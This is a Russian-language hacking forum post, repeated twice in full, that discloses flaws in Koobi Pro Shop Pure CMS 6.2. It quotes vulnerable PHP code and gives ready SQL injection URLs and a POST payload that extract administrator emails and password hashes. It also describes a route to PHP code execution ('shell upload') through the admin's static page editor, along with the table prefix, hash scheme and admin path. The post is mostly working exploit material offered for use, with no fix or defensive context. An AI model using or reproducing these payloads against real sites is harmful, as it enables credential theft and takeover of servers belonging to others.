v1d0qz
14.07.2010, 22:21
Уязвимости Koobi Pro Shop Pure CMS 6.2 + возможно уязвимы вроде как создатели какие-то Дайвер и Макс, видимо забросили и "это" уже те, кто дописывал данный движок
Профикс: Вероятнее всего => "kpro"
Хэширование: md5(md5($pass))
Адм&панель: /admin/
[COLOR="SeaGreen"][B]1)sqli
PHP:
$sql=$db->Query("SELECT * FROM ".PREFIX."_gallery WHERE id=$_REQUEST[galid]");
$row_gal=$sql->fetchrow();
Эксплуатация
Code:
index.php?p=gallerypic&img_id=9&galid=2+or+(1,1)=(select+count(0),concat((select+c oncat_ws(0x3a,email,pass)+from+[prefix]_user+where+ugroup=1),floor(rand(0)*2))from(inform ation_schema.columns)group+by+2)&area=1&ascdesc=desc
2)sqli
PHP:
$sql=$db->Query("SELECT * FROM ".PREFIX."_gallery_items WHERE id=$_REQUEST[img_id]");
$row=$sql->fetchrow();
Эксплуатация
Code:
index.php?p=gallerypic&img_id=-9+union+select+1,2,3,0x78656b,5,6,concat_ws(0x3a,e mail,pass),8,9+from+[prefix]_user+where+ugroup=1&galid=1&area=1&ascdesc=desc
3)Inject INSERT
/functions/Func.InOutput.php
PHP:
functioniform($text,$chars,$allowed)
{
global$pref;
$text=addslashes($text);
$text=strip_tags($text,"".$allowed."");
$text=substr($text,0,$chars);
return$text;
}
/functions/Func.Post.php
PHP:
functionformtext($text,$maxlength){
$text=substr($text,0,$maxlength);
return$text;
}
/system/gallerypic.php
PHP:
if(!$error){
$text=formtext($_POST['text'],$MAXCOMMLENGTH);
$sql=$db->Query("INSERT INTO ".PREFIX."_gallerycomments (id, imgid, ctime, autor, ti tle, comment, ip) VALUES ('','".(int)$_REQUEST['img_id']."', '".time()."', '".$UID."', '".iform($_POST['title'],"255","")."', '".$text."', '".$_SERVER['REMOTE_ADDR']."')");
Эксплуатация
POST parameters
Code:
title=[qqq=254]\\&kmode=&kmode=normal&text=, (select concat(email,0x3a,pass) from [prefix]_users where ugroup=1 limit 0,1),1)#&scode=[security-code]&do=send&area=1
= видим пароль в заголовке комментария.
4)Заливка шелла
Вроде как не я первый нашел. Потому опишу в двух словах. За подробностями обращайтесь к гуглу.
Админка-Статические страницы>Создать документ
Название => rdot
Текст => {php} phpinfo(); {/php}
connect => /index.php?area=1&p=static&page=rdot
5)пути
Code:
/inc/init.php
********************* (c)v1d0q ********************
Профикс: Вероятнее всего => "kpro"
Хэширование: md5(md5($pass))
Адм&панель: /admin/
[COLOR="SeaGreen"][B]1)sqli
PHP:
$sql=$db->Query("SELECT * FROM ".PREFIX."_gallery WHERE id=$_REQUEST[galid]");
$row_gal=$sql->fetchrow();
Эксплуатация
Code:
index.php?p=gallerypic&img_id=9&galid=2+or+(1,1)=(select+count(0),concat((select+c oncat_ws(0x3a,email,pass)+from+[prefix]_user+where+ugroup=1),floor(rand(0)*2))from(inform ation_schema.columns)group+by+2)&area=1&ascdesc=desc
2)sqli
PHP:
$sql=$db->Query("SELECT * FROM ".PREFIX."_gallery_items WHERE id=$_REQUEST[img_id]");
$row=$sql->fetchrow();
Эксплуатация
Code:
index.php?p=gallerypic&img_id=-9+union+select+1,2,3,0x78656b,5,6,concat_ws(0x3a,e mail,pass),8,9+from+[prefix]_user+where+ugroup=1&galid=1&area=1&ascdesc=desc
3)Inject INSERT
/functions/Func.InOutput.php
PHP:
functioniform($text,$chars,$allowed)
{
global$pref;
$text=addslashes($text);
$text=strip_tags($text,"".$allowed."");
$text=substr($text,0,$chars);
return$text;
}
/functions/Func.Post.php
PHP:
functionformtext($text,$maxlength){
$text=substr($text,0,$maxlength);
return$text;
}
/system/gallerypic.php
PHP:
if(!$error){
$text=formtext($_POST['text'],$MAXCOMMLENGTH);
$sql=$db->Query("INSERT INTO ".PREFIX."_gallerycomments (id, imgid, ctime, autor, ti tle, comment, ip) VALUES ('','".(int)$_REQUEST['img_id']."', '".time()."', '".$UID."', '".iform($_POST['title'],"255","")."', '".$text."', '".$_SERVER['REMOTE_ADDR']."')");
Эксплуатация
POST parameters
Code:
title=[qqq=254]\\&kmode=&kmode=normal&text=, (select concat(email,0x3a,pass) from [prefix]_users where ugroup=1 limit 0,1),1)#&scode=[security-code]&do=send&area=1
= видим пароль в заголовке комментария.
4)Заливка шелла
Вроде как не я первый нашел. Потому опишу в двух словах. За подробностями обращайтесь к гуглу.
Админка-Статические страницы>Создать документ
Название => rdot
Текст => {php} phpinfo(); {/php}
connect => /index.php?area=1&p=static&page=rdot
5)пути
Code:
/inc/init.php
********************* (c)v1d0q ********************